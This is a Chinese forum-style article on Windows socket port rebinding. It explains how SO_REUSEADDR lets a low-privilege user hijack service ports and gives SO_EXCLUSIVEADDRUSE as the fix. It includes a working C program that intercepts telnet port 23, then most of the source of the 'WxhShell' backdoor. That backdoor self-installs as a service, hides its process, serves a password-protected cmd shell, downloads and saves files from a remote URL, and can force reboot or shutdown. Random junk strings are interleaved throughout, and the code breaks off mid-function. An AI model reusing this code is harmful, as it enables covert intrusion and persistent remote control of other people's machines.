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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N)H+Ng[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -eV*I>G cu5}( saddr.sin_family = AF_INET; 8d'/w}GV ~2hzyEh saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7^rT-f07 sV5k@1Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \2El>> bt1bTo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @+M1M2@Xz ]6v7iuvI 这意味着什么?意味着可以进行如下的攻击: J_&cI%. ts[8;<YD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }T}c%p wsrdBxd5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !p\
@1? Iw?^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #+6j-^<_6 #gWok'ZcR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 J:uFQWxZ
) xV>Va8) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^|h_[> R3_;!/1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?S=y>b9R R=R]0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |uFb(kL[U ~IO'"h'w #include E 8W*^^z( #include py~[M'p(H #include f9_Pn'"I #include A`vRUl,c= DWORD WINAPI ClientThread(LPVOID lpParam); TGG=9a]m int main() mg70%=qM0f { A9Ea}v9: WORD wVersionRequested; 7w5l[a/ DWORD ret; L28wT)D- WSADATA wsaData; ;
1?L BOOL val; Tp~Qg{%Og SOCKADDR_IN saddr; X eis_ SOCKADDR_IN scaddr; po]<sB int err; g] IPNW^n SOCKET s; Ls|)SiXrY SOCKET sc; kW%wt1", int caddsize; H<^3H HANDLE mt; qS}{O0 DWORD tid; ""V\hHdp
wVersionRequested = MAKEWORD( 2, 2 ); ~Odclrs err = WSAStartup( wVersionRequested, &wsaData ); &BKnJ{,H if ( err != 0 ) { VWXyN printf("error!WSAStartup failed!\n"); 2^5RQl/ return -1; C)qG<PW.! } Qd3ppJn saddr.sin_family = AF_INET; 3M[d6@a g(jn
/Cx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lnMU5[g{ kJ.7C saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @Py'SH!- saddr.sin_port = htons(23); =VWH8w.3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0lqh;/ { l'!_km0{d printf("error!socket failed!\n"); ZW;Re5?DJ return -1; 7S=]@* } vsA/iH. val = TRUE; Q}lY1LT` //SO_REUSEADDR选项就是可以实现端口重绑定的 d"ZsOq10D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4ee-tKH { -DZ5nx printf("error!setsockopt failed!\n"); n*AN/LBp return -1; $RRh}w\0^ } vl s+E o] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (S=CxK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L)H/t6}i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^'sy hI\ {Aj=Rj@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aJs! bx>K { A i#~Eu* ret=GetLastError(); .)t*!$5=N printf("error!bind failed!\n"); nGJ+.z return -1; c;
1f$$>b } 'vZWkeo listen(s,2); [w FK!? while(1) !a%_A^t7 { =jG."o caddsize = sizeof(scaddr); )ZZ6 (O //接受连接请求 \<}e?Yx% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uXGAcUx( if(sc!=INVALID_SOCKET) |hvclEu, { a|dn3R>vX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &$pQ Jf if(mt==NULL) Ni;jMc { /5>A 2y printf("Thread Creat Failed!\n"); [].euDrX break; K9RRY,JB } &6\E'bBt } >T14
J'\ CloseHandle(mt); y]k{u\2A } '2p,0Bk9i closesocket(s); p{0rHu[ WSACleanup(); %NhZTmWm return 0; cGg~+R2P } (x[z=_I%` DWORD WINAPI ClientThread(LPVOID lpParam) IV`+B<3 { )\izL]=!t SOCKET ss = (SOCKET)lpParam; @zsqjm SOCKET sc; _ ^0UK|[ unsigned char buf[4096]; ~P-^An^ SOCKADDR_IN saddr; 8hX/~-H long num; uH} }z ! DWORD val; B1U7z1< DWORD ret; .T~Oc'wGo //如果是隐藏端口应用的话,可以在此处加一些判断 kKVNE hTp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^
-lWv saddr.sin_family = AF_INET; .k5&C/jv saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f Lns^ saddr.sin_port = htons(23); UtB~joaR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) @f6 { Hq <!& printf("error!socket failed!\n"); l8DZ2cw] return -1; Bv}i#D } {%Q+Pzl. val = 100; 7a%)/)<D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w[;5]z { 5.U|CL ret = GetLastError(); 0*/[z~Z-1 return -1; QyEoWKu; } n8) eC2A if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @PKY>58) { bqZ5GKUo ret = GetLastError(); ~5~Cpu2v7 return -1; =%crSuP } #t&L}=G{% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w"h3e { KD..X~Me printf("error!socket connect failed!\n"); K@!Gs'Op closesocket(sc); >s;dooZ closesocket(ss); @B>pPCowa return -1; MB?762Q } 8SO(pw9 while(1) FlLk.+!t { vSJ#
}& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /V>yF&p
//如果是嗅探内容的话,可以再此处进行内容分析和记录 I^gLiLUN*6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6PRP&|.# num = recv(ss,buf,4096,0); gp]T.ol if(num>0) oMb@)7 send(sc,buf,num,0); YGCBDH%6 else if(num==0) rn-CQ2{? break; R\lUE,o]<q num = recv(sc,buf,4096,0); Z2I2 [pA if(num>0) !X<dN.. send(ss,buf,num,0); ?Lquf&`vP else if(num==0) PCiwQ4~ break; *)qxrBc0 } 6Iv &c2 closesocket(ss); ZcrFzi closesocket(sc); o;{BI
Q1 return 0 ; zHQSx7Ow 5 } ~|8-Mo1ce GsNZr=;C 9h0Y">}`b ========================================================== %_ Vj'z~T 0-IL@Di`F 下边附上一个代码,,WXhSHELL D'\gy$9m1 GNI:k{H@"? ========================================================== Ou2p^:C( SH1)@K- #include "stdafx.h" }Gh95HwE -h,?_d> #include <stdio.h> Y/,Cy0! #include <string.h> !TPKD #include <windows.h> U~Rs?JmTdD #include <winsock2.h> 2$yNryd #include <winsvc.h> %v<BE
tq #include <urlmon.h> LZ1)zoJ %bgUU|CdA #pragma comment (lib, "Ws2_32.lib") Kr@6m80E5 #pragma comment (lib, "urlmon.lib") ;^|:*
/zIUYY #define MAX_USER 100 // 最大客户端连接数 V*F |Yo: #define BUF_SOCK 200 // sock buffer Hie #define KEY_BUFF 255 // 输入 buffer ?!$:I8T sH+ 90|? #define REBOOT 0 // 重启 (cm8x #define SHUTDOWN 1 // 关机 )cBO_
lWk/vj<5 #define DEF_PORT 5000 // 监听端口 qW|_|%{U+ QJtO~~- #define REG_LEN 16 // 注册表键长度 %@Nu{?I #define SVC_LEN 80 // NT服务名长度 <,Pk =r>u'wRQ // 从dll定义API nm]m!.$d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Isg\ fSK<j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); em?Q4t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jF0>wm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gE~LPwM ow K)]t // wxhshell配置信息 ({WV<T& struct WSCFG { RZqou|ki int ws_port; // 监听端口 6l&,!fd char ws_passstr[REG_LEN]; // 口令 NWII?X#T} int ws_autoins; // 安装标记, 1=yes 0=no F4=V*/7 char ws_regname[REG_LEN]; // 注册表键名 o'|B|oZ char ws_svcname[REG_LEN]; // 服务名 DN;3VT.- char ws_svcdisp[SVC_LEN]; // 服务显示名 z?'z{+HY char ws_svcdesc[SVC_LEN]; // 服务描述信息 V&J'2Lq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wg]VG, int ws_downexe; // 下载执行标记, 1=yes 0=no Oc%W_Gb7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m,PiuR> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WXe]Q bg Mk!bmFZOZ }; &ZI-#(P "*ww>0[ // default Wxhshell configuration cng166}1A struct WSCFG wscfg={DEF_PORT, EfGy^`,'G "xuhuanlingzhe", 80 ckh 1, OzAxnd\.N "Wxhshell", A/ 88WC$v "Wxhshell", $Ahe Vps@@ "WxhShell Service", G]O5irsV "Wrsky Windows CmdShell Service", N%!{n7`N: "Please Input Your Password: ", w
L4P-4' 1, >IJX=24Rc " http://www.wrsky.com/wxhshell.exe", _~O*V& "Wxhshell.exe" c[a^fu! }; c]R27r E N}KL' // 消息定义模块 !TLJk]7uC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )F,z pGG char *msg_ws_prompt="\n\r? for help\n\r#>"; %`}nP3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @IV,sze char *msg_ws_ext="\n\rExit."; dK>sHUu char *msg_ws_end="\n\rQuit."; LyRW\\z2 char *msg_ws_boot="\n\rReboot..."; S9dXkd char *msg_ws_poff="\n\rShutdown..."; KRb'kW char *msg_ws_down="\n\rSave to "; q@vqhE4 jR>`Xz char *msg_ws_err="\n\rErr!"; -.l.@ char *msg_ws_ok="\n\rOK!";
>Ft)v h}4yz96WD char ExeFile[MAX_PATH]; K>G.HN@ int nUser = 0; h`f $]_c HANDLE handles[MAX_USER]; x.Tulo0/ int OsIsNt; y'(a:.%I VE?Aa SERVICE_STATUS serviceStatus; (h'Bz6K SERVICE_STATUS_HANDLE hServiceStatusHandle; 8yk4#CZ L5r02VzbD // 函数声明 XvVi)`8!u int Install(void); +`uNO<$~f int Uninstall(void); c/E'GG%Q% int DownloadFile(char *sURL, SOCKET wsh); _RE;}1rb, int Boot(int flag); D.gD4g_O/ void HideProc(void); !wTrWD! int GetOsVer(void); zZ;V9KM>v int Wxhshell(SOCKET wsl); &pW2R} void TalkWithClient(void *cs); J;'H],w}f int CmdShell(SOCKET sock); 5}Z>N,4 int StartFromService(void); fGoJP[ae int StartWxhshell(LPSTR lpCmdLine); C=qL0 ch33+~Nn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a9NIK/9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); "EwzuM8f f4$sH/ 2#v // 数据结构和表定义 R5&<\RI0 SERVICE_TABLE_ENTRY DispatchTable[] = kLc@U~M { EVP{7}K1 {wscfg.ws_svcname, NTServiceMain}, "r1
!hfIYf {NULL, NULL} <Yg6=e }; VxtX%McK L8(2or // 自我安装 $$i
Gs6az int Install(void) #n]K$k> { [:+f Y[4== char svExeFile[MAX_PATH]; TjHt:%7. HKEY key; MV]`[^xQ5 strcpy(svExeFile,ExeFile); C-XJe~ Xyjd7" // 如果是win9x系统,修改注册表设为自启动 -kHJH><j if(!OsIsNt) { 3^5h:OaT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z<,Hz+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $PRUzFZ RegCloseKey(key); o2[$XONTl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8:[ l1d86 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _qk
yU )z RegCloseKey(key); ld3H"p rR return 0; |AS~sjWSJ } ae" o|Q } A]ZQ?-L/ } Mfnfp{.) else { ?TJ4L/"(k6 sDAP'& // 如果是NT以上系统,安装为系统服务 Xk\IO0GF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uh`5:V if (schSCManager!=0) BS(jC { \Foo:jON SC_HANDLE schService = CreateService m^
Epw4eg ( k(o(:-+x schSCManager, 31UxYBY wscfg.ws_svcname, S|af?IW wscfg.ws_svcdisp, ;hF}"shJN SERVICE_ALL_ACCESS, +s^nT{B@\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a~?B/
g&_ SERVICE_AUTO_START, _]-8gr-T SERVICE_ERROR_NORMAL, z?pi/`y8> svExeFile, 8 Vf#t!t NULL, Kj)sL0 NULL, 41P0)o NULL, TU':Rt NULL, {{?MO{Mh* NULL RA?_j$ ); 9MH;=88q if (schService!=0) ^+~5\c* { $0vWC#.A] CloseServiceHandle(schService); Y% JE}) CloseServiceHandle(schSCManager); :s\zk^h? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~!=Am:-wr strcat(svExeFile,wscfg.ws_svcname); v|KIVBkbT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :W6'G@ p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]=9 d'WL RegCloseKey(key); {]dG 9 return 0; oUO3,2bn } J%n#uUs } pU'${Z~b CloseServiceHandle(schSCManager); M?DZShkV_ } /q}(KJX } /nsBUM[; { ^^5FE)% return 1; OQ4Pk/-' } nCQ".G `\|tXl. // 自我卸载 #-PMREgO int Uninstall(void) |?ZU8I^vW { mln4Vl(l2M HKEY key; WrcmC$ff #d*0
)w if(!OsIsNt) { TGU7o:2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j Neb*dPoK RegDeleteValue(key,wscfg.ws_regname); ?3a=u< RegCloseKey(key); ''D7Bat@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ."gq[0_YS RegDeleteValue(key,wscfg.ws_regname); 4f~sRubK RegCloseKey(key); DaJ,(DJY return 0; <T;V9(66 } *C0a,G4 } 8EMBqhl } lJN#_V0qW else { dNY'uv&Y rsa_)iBC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U;IGV~oT if (schSCManager!=0) MgJ5FRQ { _KKux3a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F(zCvT if (schService!=0) ju3@F8AI { o5 ~VT!'[ if(DeleteService(schService)!=0) { w=<E) CloseServiceHandle(schService); bq)1'beW CloseServiceHandle(schSCManager); S7WHOr9XMV return 0; (n8?+GCa } ]n>9(Mp!M CloseServiceHandle(schService); s,f2[6\ Y } ms;zC/ CloseServiceHandle(schSCManager); ,9}JPv4Z } a'/C)fplL } G6qZ>-GiL i7PS=]TK\ return 1; 'jMs& } -:pVDxO ]
Ok &%- // 从指定url下载文件 /4OQx0Xmm int DownloadFile(char *sURL, SOCKET wsh) }!k?.(hpE { H ?9Bo! HRESULT hr; ;dMr2y`6 char seps[]= "/"; jA;b2A]G char *token; ezbk@no char *file; ^|6#Vx char myURL[MAX_PATH]; YpXd5;' char myFILE[MAX_PATH]; `GBJa k AzF*4x strcpy(myURL,sURL); 74:( -vS token=strtok(myURL,seps); Te~jYkCd while(token!=NULL) |f$ws R`& { f*rub. y file=token; 2;*G!rE&*` token=strtok(NULL,seps); 0tL5t7/Gr } d}fd^x/ Sz<:WY/(x GetCurrentDirectory(MAX_PATH,myFILE); Gey-8 strcat(myFILE, "\\"); p/Q< VV strcat(myFILE, file); V"(5U(v{~ send(wsh,myFILE,strlen(myFILE),0); ,r~^<m send(wsh,"...",3,0); ~Q
Q1ZP3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~PQR_?1 if(hr==S_OK) h lc!}{$%8 return 0; c^'bf_~-W else ^ H2TSaJ; return 1; X]2Ib'( !KJ X$? } ==?%]ZE8 -6uLww=w4 // 系统电源模块 9<y{:{i int Boot(int flag) c(vi,U-hC { >T*BEikC HANDLE hToken; ROfV Y:,M TOKEN_PRIVILEGES tkp; j DEym&- Z L0k if(OsIsNt) {
^_3$f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0YL*)=pD, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lul tkp.PrivilegeCount = 1; 87 B$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .@+M6K* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `L <sZ;Cj if(flag==REBOOT) { .t>SbGC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +h/OQ]`/m return 0; MIl\Bn } ]j,o!|rx7 else { S{bp'9]$y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;Ccp1a~+ return 0; *c/| / } % rnRy<9 } YqXN|& else { >7X5/z if(flag==REBOOT) { 4IB`7QJq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9;vES^ return 0; i$3#/*Y7_L } 8KigGhY'ms else { QD^= ;! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S/y(1.wh return 0; Z ]ZUK } GmJ
\3]{PZ } f>mEX='w 2uY:p=DxG9 return 1; ASMItT } }3XjP55 R6>*n!*D@ // win9x进程隐藏模块 veh=^K%G | void HideProc(void) X=6L-^o) { jL5O{R[
x: Vu~fF@
| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >dF #1 if ( hKernel != NULL ) %Gu=Dkz { GpO@1 C/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jL4"FTcE]3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m |+zMf& FreeLibrary(hKernel); GO][`zZJ] } {/?{UbU Ly, ]; return; E6G;fPd= E } 5qqU8I /Z#AHfKF // 获取操作系统版本 n],cs int GetOsVer(void) 4T&Jlu?: { p{r{}iYI OSVERSIONINFO winfo; aa!1w93?i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b^8"EBo GetVersionEx(&winfo); _Bn8i( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k^k1>F}yx return 1; (lit^v,9 else )F'hn+(B|G return 0; ahM?;p } c-@EHv
pAN$c" // 客户端句柄模块 I]m&h! int Wxhshell(SOCKET wsl) /dX,]OFm { Ja\B%f SOCKET wsh; .fhfO @ struct sockaddr_in client; 7#*O|t/' DWORD myID; aM8z_j!!u /~<Przw while(nUser<MAX_USER) MD> E0p) { waV4~BdL int nSize=sizeof(client); K~5(j{Kb8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,0>_(5 if(wsh==INVALID_SOCKET) return 1; #]} G{
P L`^v"W() handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \jkDRR[ if(handles[nUser]==0) F
'HYWH0? closesocket(wsh); 6ESS>I"su else ^'sOWIzeiY nUser++; &j{IG`Trl } F20%r 0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L#IY6t <lPHeO<^] return 0; )=,;-&AR } 6XVJ/qZ u`*$EP-% // 关闭 socket c/3]M>+M void CloseIt(SOCKET wsh) ?* dfIc { $~A\l@xAG closesocket(wsh); e7U9"pk nUser--; ?nR$>a` ExitThread(0); mA3yM# } hJ Jo+NNN ux7g%Q^" // 客户端请求句柄 Qm?o^%a void TalkWithClient(void *cs) rIH+X2x { mP)im]H o`ODz[04 SOCKET wsh=(SOCKET)cs;
bqR0./V char pwd[SVC_LEN]; hA"z0Fszh char cmd[KEY_BUFF]; ue}lAW{q char chr[1]; jin?;v int i,j; r3Ih]|FK# ve=1y) while (nUser < MAX_USER) { (]<G)+* f6HDfJmE if(wscfg.ws_passstr) { sE(mK<{pk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pC)S9Kl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%*<W> O //ZeroMemory(pwd,KEY_BUFF); |:`gjl_Nf i=0; RAEiIf!3 while(i<SVC_LEN) { _P]k6z+ >Gxu8,_; // 设置超时 &4L+[M{J@4 fd_set FdRead; oX1{~lDJl struct timeval TimeOut; opxPK=kJ FD_ZERO(&FdRead); ga91#NWgK FD_SET(wsh,&FdRead); fbW#6:Y TimeOut.tv_sec=8; Wuji'sxTs TimeOut.tv_usec=0; MXpj_+@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m=IA/HOR^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \RTX fe-` 1FC1*7A[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a,p7l$kK pwd =chr[0]; ch}(v'xv( if(chr[0]==0xd || chr[0]==0xa) {
qZP>h4 pwd=0; #1f8A5< break; gC S%J40r } r|7 hm:F) i++; rw dj }
D'Sdz\:4 #EU x1II // 如果是非法用户,关闭 socket /F @a@m| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ucok&)7- } 1hgmlY` UbV} ! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -zLxT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (z<&PP #bLeK$ while(1) { )kNyl@m uH!;4@uI ZeroMemory(cmd,KEY_BUFF); "7a;Apq* rB%acTCz=[ // 自动支持客户端 telnet标准 !ly]{DTmm j=0; LaiUf_W #X while(j<KEY_BUFF) { }vdhk0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =u`^QE cmd[j]=chr[0]; rru `%~'O if(chr[0]==0xa || chr[0]==0xd) { X'>]z'0W cmd[j]=0; 1Q$Z'E}SK@ break; ;zvg] % } =Wk!mGc j++; u7<s_M3%N } A@"CrVE Lpdp'9>I // 下载文件 m)?cXM if(strstr(cmd,"http://")) { eJ!a8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); D8Vb@5MW if(DownloadFile(cmd,wsh)) T|[o send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|
Et9 else w_i$/`i+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s?*MZC } A5gdZZ'x else { C"ZCX6p+$ eq\{*r"DCK switch(cmd[0]) { O-vvFl#4 p,9eZUGy // 帮助 G l*C"V
case '?': { "I]% aK0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yeNC-U< break; 5ff66CRw } Fu (I<o+T- // 安装 asI:J/%+2 case 'i': { 4o2C=?@( if(Install()) &sQtS send(wsh,msg_ws_err,strlen(msg_ws_err),0); ghiFI<)VY else wLC|mByq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A`Bg"k:D break; .HG0%Vp } ,Tyh._sa // 卸载 c;bp[Y3R case 'r': { dDy9yw%f? if(Uninstall()) _,;c2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !W8'apG&[ else Aj4i}pT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`63"^y break; {E`f(9r: } A:ef}OCL // 显示 wxhshell 所在路径 }T+pd#> case 'p': { 7@Qz char svExeFile[MAX_PATH]; S-:l
60. strcpy(svExeFile,"\n\r"); T;}pMRd% strcat(svExeFile,ExeFile); *Ta*0Fr=9| send(wsh,svExeFile,strlen(svExeFile),0); Rj%q)aw' break; u<\/T&S } mi3 yiR // 重启 ;^FV case 'b': { pUr.<yc&u send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pFD L5 if(Boot(REBOOT)) -$4PY, send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,`y_71< else { qgU$0enSs closesocket(wsh); o$YL\ <qp ExitThread(0); 3%xj-7z
W } 9[B*CD| break; hM(|d@) } >+fet , // 关机 ?!~CX`eMZ case 'd': { (Y!@,rKd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a3037~X if(Boot(SHUTDOWN)) \?)<==^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pd\S{ Y~wk else { Ohnd:8E closesocket(wsh); &}%3yrU ExitThread(0); B}YB%P_CWs } z}N=Oe break; _y),C
} p}}o#a~V), // 获取shell icHc!m? case 's': { 4RNB\D CmdShell(wsh); Hc4]2pf closesocket(wsh); cyG3le& +G ExitThread(0); Qg9 N?e{z break; }0|,*BkI
m } KyNv)=x4c // 退出 \
M8;CN case 'x': { b4s.`%U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z@ *^4Ve CloseIt(wsh); B9n$8QS break; IiIF4 pQ, } ~(%nnG6x // 离开 aDTNr/I case 'q': { 3xh~xE send(wsh,msg_ws_end,strlen(msg_ws_end),0); d?*=<w!A closesocket(wsh); \:\rkc9LI WSACleanup(); sUcx;<|BC exit(1); -D0kp~AO4N break; z'MOuz~Y } u:3~Ius } zVYX#- nv } sC48o'8( [L"(flY(E // 提示信息 SI)u@3hl&w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HkD6aJ:kA! } }i./, } jX!,xS%( ,D3?N2mB return; mHUQtGAVQ } Pp6(7j G0|j3y9$ // shell模块句柄 try'%0}> int CmdShell(SOCKET sock) Qq(/TA0$- { hkee,PiiP STARTUPINFO si; ?A;x%8} ZeroMemory(&si,sizeof(si)); ksT2_Ic si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nWfOiw-t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tz]t.]!&E PROCESS_INFORMATION ProcessInfo; yNP
M- char cmdline[]="cmd"; Z~ VOO7|m CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r'uD|T H return 0; Oj6 - } tpO%)* x-+Hy\^@| // 自身启动模式 1RZhy_$\. int StartFromService(void) %vDN{%h8 { aRdzXq#x typedef struct f+j\,LJ { &aqF||v%) DWORD ExitStatus; D|@*HX@_Xp DWORD PebBaseAddress; G<l+94( DWORD AffinityMask; Jc"xH~, DWORD BasePriority; 61HU_!A8S ULONG UniqueProcessId; iF?4G^ ULONG InheritedFromUniqueProcessId; \L-o>O } PROCESS_BASIC_INFORMATION; eYMp@Cx 0
